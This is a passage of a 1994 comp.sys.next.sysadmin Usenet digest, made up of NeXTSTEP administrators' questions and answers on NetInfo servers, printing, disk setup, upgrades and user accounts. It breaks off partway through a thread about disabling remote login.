: Department? I have two clone servers now, but I don't see any way to make
: one of them into the new master.
: Any help would be greatly appreciated.
On one of the clone servers, halt, then boot single user.
Edit /etc/hostconfig and change the hostname and ip address to that of
your dearly departed master server.
halt and reboot.
Now this machine thinks it's the master.
Start Netinfomanager.
Open the / domain.
Double click on slash.
Change the master property so that it has the value hostname/network
where hostname is the machines name.
Now edit the hostconfig file again and restore the hostname to it's own
name again.
Reboot.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: bobcook@slac.stanford.edu (Bob Cook)
Subject: Re: Strange fsck message
Message-ID: <CKznLH.AKn@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
References: <westesCKxJzz.BKB@netcom.com>
Date: Thu, 10 Feb 1994 03:12:53 GMT
Will Estes writes
>What does the following message from fsck mean?
>
>"/lost+found/#062351 is an extraneous hard link to directory
>/lost+found/#062351. Deleting...."
People much more knowledgable about Unix than I tell me that hard links to
directories are bad things, so I'd assume that fsck found such a thing and is
removing it.
--
Bob Cook bobcook@slac.stanford.edu
Stanford Linear Accelerator Center NeXT mail okay
From: petra!sas@decster.uta.edu (Shawn Alva Stone)
Newsgroups: comp.sys.next.sysadmin
Subject: UserManager/chown problems
Date: 9 Feb 1994 23:31:58 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9402090412.AA05743@petra>
I am having trouble setting up a new account on my 040 cube running 3.2. After setting up
a new user I returned to the file viewer to find that his home folder was represented by the
regular folder icon, instead of the special home directory icon. Using the inspector (and
doublechecking from a shell) I noticed that the folder was not owned by the new user, but
by root. First I checked to see that I was not duplicating a UID, then I su'd to root and tried
to set the owner and group typing:
chown -R danny.other /Users/danny
The folder's owner was still root. So I tried using chown on some test files, and got the
same result. Chown seems to be defective. Any suggestions? I'm a NeXT novice, and
I'm probably missing something really obvious. Thanks in advance for any help you can
lend, folks.
Shawn
---
email: sas@halite.uta.edu
University of Texas at Arlington
"The thing that has been,
it is that which shall be;
and that which is done
is that which shall be done:
and there is no new
thing under the sun."
- Solomon c. 935 B.C.
From: haxie@freeport.uwasa.fi (Kaj Hagstrom)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Where to find Soundblaster-driver ?
Date: 10 Feb 1994 09:55:53 GMT
Organization: Vaasa FreePort BBS
Message-ID: <2jd0b9$1r4@zippo.uwasa.fi>
References: <2iqi7f$bmc@yrsa.ifi.uio.no>
In a previous article, arneha@ifi.uio.no (Arne Christian Herseth) says:
>Where can I find a Soundblaster-driver for NextStep 3.2 ?
Try cs.orst.edu somewere under /pub/next/bin
--
73 de OH6KNK (Kaj Hagstr|m)
From: haxie@freeport.uwasa.fi (Kaj Hagstrom)
Newsgroups: comp.sys.next.sysadmin
Subject: Need help to disable the mail of one user
Date: 10 Feb 1994 10:07:10 GMT
Organization: Vasa tekniska yrkesh|gskola
Message-ID: <2jd10e$1t6@zippo.uwasa.fi>
Are there any easy ways to disable a user from using the mail,
without needing to create a new 'mail'-group and add all users
to that group who are allowed to use the mail-function. And to
change mail-program or sendmail to that group and allow it only
to be executed by 'mail'-group.
Thanks for possible answers....
--
73 de OH6KNK (Kaj Hagstr|m)
Newsgroups: comp.sys.next.sysadmin
From: dmm0t@rincewind.mech.virginia.edu (David Meyer)
Subject: Re: Configuring a non-Netinfo ntpd?
Message-ID: <CKx8uv.JAD@murdoch.acc.Virginia.EDU>
Followup-To: poster
Keywords: NeXTSTEP NSFIP ntdp netinfo
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
References: <1994Feb8.152432.19568@mprgate.mpr.ca>
Date: Tue, 8 Feb 1994 19:59:19 GMT
In article <1994Feb8.152432.19568@mprgate.mpr.ca>,
Robbin Johnson <rjohnson@mpr.ca> wrote:
>Do I have to grab the sources from somewhere and replace the ntp
>package that comes with NS? Has anyone done so and able to report
>success (or failure)?
I don't know if you have to, but you certainly can.
The latest version of ntp is available from louie.udel.edu:/pub/ntp.
There are several versions there, including various betas. If you're
not an adventurous soul, go with xntp3.3c-export.tar.Z - although it's
theoretically a beta, it's awfully solid.
I don't know how well it compiles under NSFIP - it works out of the
box with black hardware and NS{3.1,3.0,2.x}, though. I think the docs
for compiling and setting up the basics are pretty good, though more
advanced features are documented less well. You can go to
comp.protocols.time.ntp with questions, or I'd be willing to show you
my config files.
Dave
--
David M. Meyer Mechanical & Aerospace Engineering
dmm0t@rincewind.mech.virginia.edu University of Virginia
NeXTmail ok
Newsgroups: comp.sys.next.sysadmin
From: wfc@cl.cam.ac.uk (William Clocksin)
Subject: Need disktab entry for 128M MO drive
Message-ID: <1994Feb10.150429.4439@infodev.cam.ac.uk>
Sender: news@infodev.cam.ac.uk (USENET news)
Organization: U of Cambridge, England
Date: Thu, 10 Feb 1994 15:04:29 GMT
Can anyone send me a /etc/disktab entry for a Fujitsu M2511A 128M MO drive?
Thanks.
----------------------------------------------------
Dr W.F. Clocksin, Assistant Director of Research,
Computer Laboratory, University of Cambridge
Pembroke Street, Cambridge CB2 3QG, U.K.
Internet: wfc@CL.cam.ac.uk (NeXTMail is acceptable)
Tel UK: (0223) 334628. Tel (Int'l): +44 223-334628.
Fax UK: (0223) 334678. Fax (Int'l): +44 223-334678.
From: wegmann@cyrano.linguistics.ruhr-uni-bochum.de (Frank Wegmann)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't get access to Ethernet device!
Date: 10 Feb 1994 19:06:05 GMT
Organization: Ruhr-Universitaet Bochum, Rechenzentrum
Message-ID: <WEGMANN.94Feb10200605@cyrano.linguistics.ruhr-uni-bochum.de>
References: <1994Feb8.152432.19568@mprgate.mpr.ca>
I got serious trouble when setting up NSfIP 3.2 with a SMC Elite 16. Sure there is a driver present, but when booting I got the following error:
SMC16:Adaptor not present or invalid EEROM checksum.
_IOProbeDriver: No such device, device SMC16 unit 0
It all fails when I started to configure the host as a Netinfo Master Server and then plugged the cable into the PC. ifconfig couldn't get the flags via ioctl.
So, I assume this is a hardware problem but cannot confirm this. I also have no means to check that under DOS (the guy came up with the card, built it into the PC and went...)
Any ideas how I could check whether the card is working at all?
Thanks for advice,
Frank
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Sprachwiss. Institut fax : +49 234 70 94 137
Ruhr-Universitaet Bochum Internet : wegmann@linguistics.ruhr-uni-bochum.de
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Germany PRMD=ruhr-uni-bochum; ADMD=d400; C=de
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From: hussain@ArtSci.WuStL.EDU (Hussain Chinoy)
Newsgroups: comp.sys.next.sysadmin
Subject: X command 'resize': NeXT equivalent?
Date: 10 Feb 1994 21:26:54 GMT
Organization: Washington University, St. Louis, MO
Message-ID: <2je8qu$jku@bigfoot.wustl.edu>
One of the Math Department's Graduate students is setting up his Irix
workstation and I'm linking it up with our other NeXT machines.
Question: Is there a NeXT equivalent for the 'resize' command in X/IRIX,
or whatever.
Please email responses. Thanks
--
________________________________
G. Hussain Chinoy
Consultant, Arts & Sciences NeXT Lab
Cupples I, Room 213
Washington University in St. Louis
hussain@artsci.wustl.edu
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Problems compiling macutil 2.0b1 on NS3.2
Date: 10 Feb 1994 22:50:26 +0100
Organization: University of Bergen
Message-ID: <2jea72$63p@alf.uib.no>
Not being fluent in C, I have no idea how to get this to compile
cleanly (or at all). No smart answers like "type make"... ;-)
Here is where it stopped:
(cd fileio; make CF='-DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR')
cc -O -DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR -c wrfile.c
cc -O -DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR -c rdfile.c
rdfile.c:641: undefined type, found `DIR'
*** Exit 1
Stop.
*** Exit 1
Stop.
The function in question is this:
static void enter_dir()
{
DIR *directory;
struct dirstruct *curentry;
FILE *fd;
int n, j, namlen;
int listsize, cursize;
char *filetable;
filelist *new_files;
I tried on a SunOS 4.1.3 system, and it reported no errors
(well, not here anyway :-)
Please e-mail suggestions.
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
Newsgroups: comp.sys.next.sysadmin
From: dan@ennex1.eng.utsa.edu (Daniel Shelton)
Subject: Re: PC-NFS and Wollengong
Message-ID: <1994Feb10.233351.23256@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: Univ of Texas at San Antonio
References: <2jc3gk$8h9@darkstar.UCSC.EDU>
Date: Thu, 10 Feb 1994 23:33:51 GMT
In article <2jc3gk$8h9@darkstar.UCSC.EDU> claspac@cats.ucsc.edu
(Jas-Russell) writes:
> Folks,
>
> I just got a set of TCP utilities from Wollengong for
> my DOS/Windows Intel machine.
>
> I want to do cross patform development and share a set
> of files between my DOS and NeXT platforms and SoftPC
> doesn't solve all the issues.
>
> I have installed the Wollengong PC-NFS client on the DOS
> machine.
>
> They make a connection of some kind, but a simple ls
> or dir of the NFS exported (and DOS side imported)
> file system takes minutes to execute.
>
> Has anybody else used NeXTs as a NFS server and been
> successful connecting DOS and Macs as clients?
>
> Thanks for your replies.
>
>
>
> --
> Name: Will Russell
> E-mail: claspac@cats.ucsc.edu
> Voice: 408-459-2060
> FAX: 408-429-0146
Do you have the authorization deamon running on the NeXT. You must have one if you are running with the Wollongong software to do NFS. If you have it, could you please tell me where you got it.
Thanks alot,
Dan
dan@ennex1.eng.utsa.edu
Newsgroups: comp.sys.next.sysadmin
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Subject: Upgrade hints
Message-ID: <1994Feb10.200032.1698@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Thu, 10 Feb 1994 20:00:32 GMT
The following will be useful to people who have a bunch of nexts to upgrade.
I found this particulary useful for Nexts where the local environment
has been customized heavily. One doesn't have to run around and
reconfigure everyone's machine. The other advantage of this approach is
that the boot disk on all machines is practically identical, so there is
no need to keep a zillion different backups.
1. Rebuild one typical machine. Don't upgrade it, build from scratch.
2. Make all your modifications so that this machine is happy in your
network. If done cleverly, this can be done so that the only dependency
on machine name is in /etc/hostconfig.
3. Dump to tape.
4. Take your 2.1 Boot floppy, and copy /usr/standalone/boot to
/etc/boot3
5. Take tape drive to new machine.
6. Save anything worth saving.
7. Boot from floppy.
8. Run disk and re-initiliaze hard disk.
9. Run disk, and use /etc/boot3 to initialize the boot block.
10. Mount hard disk (/etc/mount /dev/sd0a /mnt)
11. cd /mnt
12. restore -r
13. halt
14. boot single user.
15. edit /etc/hostconfig, and change the hostname and IP appropriately
16. halt and boot multiuser.
Second set of hints:
Modify /etc/rc so that it will run two files:
/etc/rc.network
/etc/rc.`hostname`
These files in turn are links to /usr/local/etc/rc.network
and rc.`hostname`. In rc.network are your customizations that apply to
all nexts. If you have some that apply to all but one, you can test for
it explicitly in rc.network. The idea is to prevent having to edit one
file for each machine everytime you have a global change.
Individual machines have their own file. So host aardvark runs
rc.aardvark. I use this for starting my xntpd broadcast server, my
mailhost: you get the idea. Not all machines have a file.
Now the boot disk on most machines is identical.
Servers are a problem. On most of these, I replace any file that
changes regularly with a link to a file system that is backed up
regularly. Thus /etc/netinfo/network.nidb is replaced with a link to
/usr/local/etc/netinfo/network.nidb. This can get you in trouble if the
this directory is on an nfs mounted disk, as lookupd needs to read the
file to start netinfod, but the disk is not mounted until after netinfo
starts.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: fineman@cs.washington.edu (Lucifer Sam)
Subject: Anyone know where I can get a UMC/AMI Board?
Message-ID: <1994Feb10.234125.11010@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Thu, 10 Feb 94 23:41:25 GMT
I'm looking for a
486-66 VLB board..
no cache
no chip
AMI Bios
UMC or AMI chipset
none of the local clone dealers have 'em; anyone know of/have any?
Thanks
Dan
fineman@cs.washington.edu ASCII pleeze
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: Power Down?
Message-ID: <CKyrqt.1vy@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <1994Feb7.213440.2415@ornl.gov>
Date: Wed, 9 Feb 1994 15:44:52 GMT
In article <1994Feb7.213440.2415@ornl.gov> woo@polaris.scicntr.ortn.edu
(J. W. Wooten) writes:
[...question: how to remove power off from login panel...]
There's a dwrite available which does the thing you asked for.
Issue
dwrite loginwindow PowerOffDisabled Yes
as root
Look in NextAdmin/ReleaseNotes/Loginwindow.rtf for further information.
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: Power Down?
Message-ID: <CKyrwu.1ww@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <1994Feb7.213440.2415@ornl.gov>
Date: Wed, 9 Feb 1994 15:48:30 GMT
Sorry for the second follow up:
I just checked and saw that the mentioned dwrite is 3.2 only.
So you have to wait until you do the 3.2 upgrade...
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Newsgroups: comp.sys.next.sysadmin
From: robert@ictv.com (Robert Patrick Thille)
Subject: Re: Power Down?
Message-ID: <1994Feb11.012300.23579@ictv.com>
Sender: usenet@ictv.com
Organization: ICTV, Santa Clara, CA (408) 562-9200
References: <CKyrwu.1ww@belly.in-berlin.de>
Distribution: usa
Date: Fri, 11 Feb 1994 01:23:00 GMT
Axel Habermann writes
> Sorry for the second follow up:
>
> I just checked and saw that the mentioned dwrite is 3.2 only.
> So you have to wait until you do the 3.2 upgrade...
>
>
> --
> Axel Habermann \\|// "Wenn Du nicht
> kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
> kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
> FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Not true, I've been using it since at least 3.0, if not before.
Robert
--
Robert Thille NeXTMail
robert@ictv.com OK
660 Bair Island Rd #40 Redwood City CA 94063
\\|// "Wenn Du nicht
> kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
> kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
> FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Not true, I've been using it since at least 3.0, if not before.
Robert
--
Robert Thille NeXTMail
robert@ictv.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: lapj_ss@troi.cc.rochester.edu (J. LaPierre)
Subject: Re: Anyone know where I can get a UMC/AMI Board?
Message-ID: <1994Feb11.043331.8766@galileo.cc.rochester.edu>
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
References: <1994Feb10.234125.11010@beaver.cs.washington.edu>
Date: Fri, 11 Feb 94 04:33:31 GMT
In <1994Feb10.234125.11010@beaver.cs.washington.edu> fineman@cs.washington.edu (Lucifer Sam) writes:
>I'm looking for a
> 486-66 VLB board..
> no cache
> no chip
> AMI Bios
> UMC or AMI chipset
>none of the local clone dealers have 'em; anyone know of/have any?
I got an AMI Enterprise III, no chip, no mem, but with 256k cache from
Washburn & Co. in Pittsford, New York. They won't sell 'em brand new
w/o a CPU, but I bought a refurbished board for a great price. They are
-the- east coast distributor of AMI products.
For more info contact Washburn & Co.
3800 Monroe Avenue, Pittsford, NY 14534
General Inquiries: 1-800-836-8026
Motherboard Hotline: 1-800-836-8027
Hope this helps. Let me know if you need any more info.
-Jason
Jason LaPierre
University of Rochester
lapj_ss@troi.cc.rochester.edu
Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
From: Thierry.Desbois@metasoft.fdn.org
Subject: Curious problem with the npd (next printer) daemon
Message-ID: <1994Feb10.110813.5012@metasoft.fdn.org>
Sender: news@metasoft.fdn.org
Organization: Metasoft - Rennes, France.
Date: Thu, 10 Feb 1994 11:08:13 GMT
[System : NS/FIP 3.2 - Connected to a local "NS supported" HP Printer
and a YP Sun server] :
The root user could not print a file and the message below appears in
the console window :
my_host npd[204]: /usr/lib/NextPrinter/npd-lpr of my_file - /
exited status = 1
Other users could print the same file without problem or message
Has anyone already seen that ?
Thanks for help...
---------------------------------------------------------------------
Thierry Desbois Tel: (+33) 99 31 68 00 Fax:(+33) 99 35 00 45
Metasoft ted@metasoft.fdn.org [NeXTmail welcome]
----------------------------------------------------------------------
From: pom@katrin.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening)
Newsgroups: comp.sys.next.sysadmin
Subject: How to make a client a clone server ?
Date: 11 Feb 1994 09:03:50 GMT
Organization: Johannes Gutenberg-Universitaet Mainz, Germany
Message-ID: <2jfhlm$5vc@bambi.zdv.Uni-Mainz.DE>
I have a net of 4 NeXTs (black, running Nextstep 3.0, soon 3.1 or 3.2).
One of them is a netinfo server, the other 3 are clients. I would like to
have a clone server. Is there a way to achieve this without reconfiguring
the system from scratch?
Please answer by mail, I'll summarize.
--
Klaus Pommerening
Institut fuer Medizinische Statistik und Dokumentation
der Johannes-Gutenberg-Universitaet
D-55101 Mainz, Germany
From: mcli@minnie.Read.TASC.COM (Maurice C. Ling)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo parent domain error
Date: 10 Feb 1994 21:48:10 GMT
Organization: TASC
Message-ID: <2jea2rINNc6s@jumbo.read.tasc.com>
On the system console, every 3-4 min, a message pops up saying that the
NetInfo parent domain can't be open. A sample output on the console
looks like:
..
Feb 10 16:30:24 nextcube syslog: can't open NetInfo parent domain
Feb 10 16:33:26 nextcube syslog: can't open NetInfo parent domain
Feb 10 16:37:21 nextcube syslog: can't open NetInfo parent domain
Feb 10 16:40:23 nextcube syslog: can't open NetInfo parent domain
..
My system name is nextcube and it is running NS3.0 with a NextDimension
board. I've been trying to track this problem down with no success.
Perhaps someone can give me some suggestions.
Thanks,
-Maurice
--
NeXTmail: mcli@nextcube.read.tasc.com \/
School: mling@jade.tufts.edu >--< ======================
Work : mling@tasc.com /\ Optics
Newsgroups: comp.sys.next.sysadmin
From: n9240566@henson.cc.wwu.edu (Leif E. Harrison)
Subject: Need help with Transys DialUp-IP and LineLink 14.4e
Message-ID: <1994Feb11.054733.24572@henson.cc.wwu.edu>
Originator: n9240566@waldorf.cc.wwu.edu
Sender: news@henson.cc.wwu.edu (USENET-WWU)
Organization: Western Washington University
Date: Fri, 11 Feb 1994 05:47:33 GMT
I'm trying to set up SLIP on my machine at home. I'm using the
Transys DialUp-IP package from cs.orst.edu (920904) and a LineLink 14.4e
modem (with the as-shipped cables and configuration - works fine with Kermit).
I have an "assigned" IP number and hostname, and the hostname and IP
numbers of the annex server (Xylogics) that is the SLIP server, as well as
a hostname for the local domain name server.
Now, I followed, as far as I could understand at least, the
installation and configuration instructions from the DialUp-IP manual.
However, I have not yet even managed to get the thing to dial, much less
initiate a SLIP connection.
Does anyone have any hints for configuring this? (Especially someone
using it with the LineLink)
I'm running NeXTSTEP 3.2 Motorola, BTW
Any help appreciated!
- Leif Harrison
n9240566@henson.cc.wwu.edu
rexfelis@bailey.cpac.washington.edu
Newsgroups: comp.sys.next.sysadmin
From: wfc@cl.cam.ac.uk (William Clocksin)
Subject: Help needed: More SCSI woe.
Message-ID: <1994Feb11.105402.2917@infodev.cam.ac.uk>
Sender: news@infodev.cam.ac.uk (USENET news)
Organization: U of Cambridge, England
Date: Fri, 11 Feb 1994 10:54:02 GMT
I am trying to attach a 3.5" SCSI MO drive to Black hardware, but whenever the
boot block is accessed (by initialisation etc), the Console reports:
/usr/etc/disk -i -h coriander.cl.cam.ac.uk -l "UntitledDisk" /dev/rsd1a
sd1 (4,0): ERROR op:0x1a sd_state:4 scsi status:0x0
The disk is reported unusable. There is no /etc/disktab entry (I assume none
is needed). Help?
----------------------------------------------------
Dr W.F. Clocksin, Assistant Director of Research,
Computer Laboratory, University of Cambridge
Pembroke Street, Cambridge CB2 3QG, U.K.
Internet: wfc@CL.cam.ac.uk (NeXTMail is acceptable)
Tel UK: (0223) 334628. Tel (Int'l): +44 223-334628.
Fax UK: (0223) 334678. Fax (Int'l): +44 223-334678.
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Mail images in NIS network
Date: 11 Feb 1994 05:53:16 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9402111152.AA20496@dcs.shef.ac.uk>
My apologies, I know this has come up before...
Here we're running NIS, which means that it doesn't seem to be as easy
as the manuals suggest to set up those cute little pictures to appear
in the Mail window.
I've followed what I was told about
ypcat passwd > /LocalLibrary/Images/People/passwd
ypcat aliases > /LocalLibrary/Images/People/aliases
and things seem to work fine when I add a TIFF for a user who sends
mail from a mailer which puts his user (log-in) name in the From:
field, e.g.
From: Yorick Wilks <yorick>
and a TIFF called yorick.tiff works fine.
Unfortunately most other users' From fields are of the form:
From: Paul Mc Kevitt <P.McKevitt>
(where P.McKevitt is the mail alias for pm) and I haven't been able to
find a combination of aliases and TIFF names to make anything show up
in the Mail window (although they do in the Addresses panel).
Any suggestions? Or pointers to the FAQ!
Have fun,
mmalcolm.
Newsgroups: comp.sys.next.sysadmin
From: img@aisb.ed.ac.uk (Ian Green)
Subject: DESPERATE! printcap entry for HP InkJet550C
Message-ID: <IMG.94Feb11133022@achtriochtan.aisb.ed.ac.uk>
Sender: news@aisb.ed.ac.uk (Network News Administrator)
Organization: Department of Artificial Intelligence, University of Edinburgh
Date: 11 Feb 94 13:30:22
Please help if you can.
I am trying to spool a 550C from a NextStation running NS2.1 (68040).
I have installed ghostscript as a translator from PS to the 550C
language.
Problem is that after about 1 printer page of output, the printer goes
bezerk and prints garbage. I think this is caused by ineffective
control flow --- so either there is a problem with the cable or the
printcap. Does this seem reasonable?
So if some kind sole could help, offer a working princap etc... I
would be very grateful. Please email any response since we have a
short expiry period on this group.
Thanks,
-ian
PS. Am I right in thinking that NS2.1 princap entries are not
compatible with SunOS ones?
Newsgroups: comp.sys.next.sysadmin
From: img@aisb.ed.ac.uk (Ian Green)
Subject: DESPERATE! printcap entry for HP InkJet550C
Message-ID: <IMG.94Feb11133308@achtriochtan.aisb.ed.ac.uk>
Sender: news@aisb.ed.ac.uk (Network News Administrator)
Organization: Department of Artificial Intelligence, University of Edinburgh
Date: 11 Feb 94 13:33:08
Please help if you can.
I am trying to spool a 550C from a NextStation running NS2.1 (68040).
I have installed ghostscript as a translator from PS to the 550C
language.
Problem is that after about 1 printer page of output, the printer goes
bezerk and prints garbage. I think this is caused by ineffective
control flow --- so either there is a problem with the cable or the
printcap. Does this seem reasonable?
So if some kind sole could help, offer a working princap etc... I
would be very grateful. Please email any response since we have a
short expiry period on this group.
Thanks,
-ian
PS. Am I right in thinking that NS2.1 princap entries are not
compatible with SunOS ones?
From: slxn8@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: File Viewer GONE and I can't get it BACK!
Message-ID: <1994Feb9.170016.10194@cc.usu.edu>
Date: 9 Feb 94 17:00:16 MDT
Organization: Utah State University
Help! I can login but I have not file viewer!
This is very strange...I can login and work just fine on an Intel box on our
network, but if I login to my account though on my Moto black box, I login and
I get my Dock, menu, console, etc., but no FILE VIEWER! Nothing happens if I
try to open a new one, or if I try and update it...
One possible clue (to someone hopefully), I opened a shell (via terminal dock
icon), and tried to do a pwd, and it gave me an error...
I just went to try it again to get the error AND everything works fine!
Now, I have done a ton of stuff to try and fix it, so something must have
worked. If anyone has encountered this, please let me know. I would like
to know what happened so that if it happens again I can fix it.
Many thanks!
John
slxn8@cc.usu.edu
From: mgrmja@NeXTwork.Rose-Hulman.Edu (Michael J. Allard)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: prserver: Cannot find printer entry: Local_Printer
Date: 11 Feb 1994 16:28:41 GMT
Organization: Rose-Hulman Institute of Technology
Message-ID: <2jgbnp$cgh@master.cs.rose-hulman.edu>
References: <2jbc5m$3ob@tove.cs.umd.edu>
In article <2jbc5m$3ob@tove.cs.umd.edu> stuart@cs.umd.edu (Stuart Pearlman)
writes:
>
> I'm having problems printing to a NeXT 400 dpi laser printer. This
> just started happening after I rebooted my nextstation turbo color.
> Every time I submit a print job, I get the following message in the
> console window:
>
> Feb 9 13:19:56 ffxnx2 su: stuart on /dev/ttyp1
> Feb 9 13:49:49 ffxnx2 PrintServer[396]: Cannot find printer entry:
> Local_Printer
>
> I think that this is coming from /usr/lib/NextPrinter/Server/prserver.
> I'm not really sure. Does anyone know what might cause this?
>
> I checked netinfo, and the printcap entry for Local_Printer is there.
> I can see it with "nidump printcap ." and NetinfoManager.
>
> I've tried rebooting the machine a second time. It didn't help.
> The first reboot (when the problem started occuring) was precipitated
> by a slew of SCSI errors (from sd1 - our NeXT cdrom).
I had the exact same problem. One of our machines just stopped recognizing
its printer. I looked at the printer NetInfo entry with niutil, and saw that
there was an "_ignore" property in /printers/Local_Printer. I removed this
property (nuitil -destroyprop), and everything started working. :-)
I rebooted the machine, and the property came back. :-(
I fixed this in McSpeedy fashion (clearing up the symptom without fixing the
cause) by adding the following line to /etc/rc.local:
niutil -destroyprop . /printer/Local_Printer _ignore
I don't like this solution. Anyone know why this is happening, or what I can
do to fix it? I think Stuart would appreciate it also. :-)
Thanks in advance.
> --
> Stuart R. Pearlman Stuart_Pearlman@rdr.com
> RDR Inc.
> On-Contract-To: Mobil Foreign Exchange Inc. +1 703 846 7052
--
Mike Allard, Workstation Manager, Rose-Hulman Institute of Technology
<Michael.Allard@Rose-Hulman.Edu> - #include <std/disclaimer.h> - NeXTmail Ho!
Duct tape is like the Force: There's a light side, and there's a dark side,
and it holds the universe together.
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: tar and long filenames, was: HELP! Crashed Disk!
Message-ID: <CL2Ktn.63z@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <westesCKvy6B.sH@netcom.com>
Date: Fri, 11 Feb 1994 17:05:46 GMT
In article <westesCKvy6B.sH@netcom.com> westes@netcom.com (Will Estes)
writes:
[...]
> Can someone give me the exact
> syntax on a backup command that comes bundled with NS 3.2? tar is
> out since it doesn't back up more than 80-100 characters of combined
> path/filename.
You'll find gnutar on /usr/bin which can handle filenames longer
than 100 characters easily. It is bundled with NS3.2.
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
From: nlau@sct.edu (Neric Lau)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP NEEDED ON RESEARCH
Message-ID: <2jh38h$1fbc@st6000.sct.edu>
Date: 11 Feb 94 23:10:09 GMT
Organization: Southern College of Technology, Atlanta
I am writing a research paper on why Next computer fail on the workstation
market. anyone outthere can send me the information about the good and bad thingon NeXT.
Please send the information to nlau@st6000.sct.edu
Neric Lau
From: mcli@minnie.Read.TASC.COM (Maurice C. Ling)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2jea2rINNc6s@jumbo.read.tasc.com>
Control: cancel <2jea2rINNc6s@jumbo.read.tasc.com>
Date: 11 Feb 1994 15:17:03 GMT
Organization: TASC
Message-ID: <2jg7hgINN6m6@jumbo.read.tasc.com>
Article cancelled from within tin [v1.1 PL8]
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Marble Teleconnect, NS3.2, ducontrol: cannot set
Date: 11 Feb 1994 16:23:43 GMT
Organization: Suite Software
Message-ID: <2jgbef$27n@bilbo.suite.com>
Help! Since upgrading to NS3.2 (black hardware) I have been getting the
following messages on the console during boot:
ducontrol: cannot set IFCONTROL_SETFLAGS
ducontrol: cannot set IFCONTROL_SETFLAGS
ducontrol: cannot set IFCONTROL_AUTOADDR
du0: address automatically set to 0.0.0.0
.
.
.
du9: address automatically set to 0.0.0.0
The only clues I have are that Marble Teleconnect uses these devices
du0,du1,etc... Teleconnect still seems to work. I just don't know what
these messages are trying to tell me. Should I be concerned?? Any info
would be greatly appreciated! :-)
Scot
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Disabling RLOGIN,TELNET,FTP from remote access.
Date: 12 Feb 1994 01:29:45 GMT
Organization: University of Illinois at Urbana
Distribution: na
Message-ID: <2jhbe9$r4h@vixen.cso.uiuc.edu>
References: <1994Feb8.233045.18323@serval.net.wsu.edu>
jburke@bodacious.csc.wsu.edu (John L. Burke) writes:
>We have a lab of NeXTs that we want to disable remote access to. ie, we
>don't want anyone to be able to rlogin, telnet or ftp to these machines.
>Is there an easy way to do this? Can I just disable the daemons that
